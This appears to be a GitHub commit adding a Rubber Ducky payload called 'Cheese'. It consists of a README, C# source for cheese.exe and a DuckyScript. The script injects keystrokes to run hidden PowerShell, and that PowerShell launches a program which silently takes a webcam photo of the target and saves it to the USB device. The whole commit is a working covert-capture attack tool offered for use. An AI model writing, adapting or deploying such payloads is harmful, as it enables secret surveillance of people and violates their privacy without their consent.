web cam photo taker

pull/438/head
pinguino 2024-02-28 11:35:42 +01:00 committed by GitHub
parent bf2dfb7c17
commit bbd8afacfb
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
4 changed files with 105 additions and 0 deletions

View File

@ -0,0 +1,9 @@
## About:
* Title: Cheese
* Description: Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky.
* AUTHOR: Pinguino-HK
* Version: 1.0
* Category: General.
* Target: Windows.
* Attackmodes: HID STORAGE.
* SourceCode: The srouce code of cheese.exe can be found in cheese.cs, it s .NET C# application.

View File

@ -0,0 +1,82 @@
using AForge.Video.DirectShow;
using System;
using System.Drawing;
using System.IO;
class Program
{
private static FilterInfoCollection GetVideoDevices()
{
return new FilterInfoCollection(FilterCategory.VideoInputDevice);
}
static void Main(string[] args)
{
DriveInfo[] drives = DriveInfo.GetDrives();
string usbDriveLetter = "";
foreach (DriveInfo drive in drives)
{
if (drive.IsReady && drive.VolumeLabel == "DUCKY")
{
usbDriveLetter = drive.Name;
break;
}
}
if (usbDriveLetter == "")
{
Console.WriteLine("USB drive 'DUCKY' not found.");
return;
}
// Get available video devices
var videoDevices = GetVideoDevices();
if (videoDevices.Count == 0)
{
Console.WriteLine("No video devices found.");
Environment.Exit(1); // Exit the application with an error code
}
// Select the first video device
var videoDevice = videoDevices[0];
// Create video source
var videoSource = new VideoCaptureDevice(videoDevice.MonikerString);
// Start capturing
videoSource.Start();
// Wait for a short period to ensure camera is ready (adjust as needed)
System.Threading.Thread.Sleep(2000);
// Capture the frame
videoSource.NewFrame += (sender, eventArgs) =>
{
// Capture the new frame
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();
// Save the bitmap to a file
//
//string filePath = @"D:\image.jpg";
//string filePath = Path.Combine(usbDriveLetter, "\\:image.jpg");
string filePath = usbDriveLetter + @"\image.jpg";
bitmap.Save(filePath);
Console.WriteLine("Image saved to " + filePath);
// Stop capturing
videoSource.SignalToStop();
videoSource.WaitForStop();
// Exit the application
Environment.Exit(0);
};
// Wait for capturing to finish (This line should be removed if not waiting indefinitely)
videoSource.WaitForStop();
}
}

View File

@ -0,0 +1,14 @@
REM Author: Pinguino-HK
REM Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky.
REM The speed delay can be adapted/modified
REM the ALF F4 is only if the target had autorun which will pop the Ducky folder
ATTACKMODE HID STORAGE
DELAY 5000
ALT F4
ESC
DELAY 2000
GUI r
DELAY 1000
STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter + ':\cheese.exe'); Start-Sleep -Seconds 7; taskkill /F /IM cheese.exe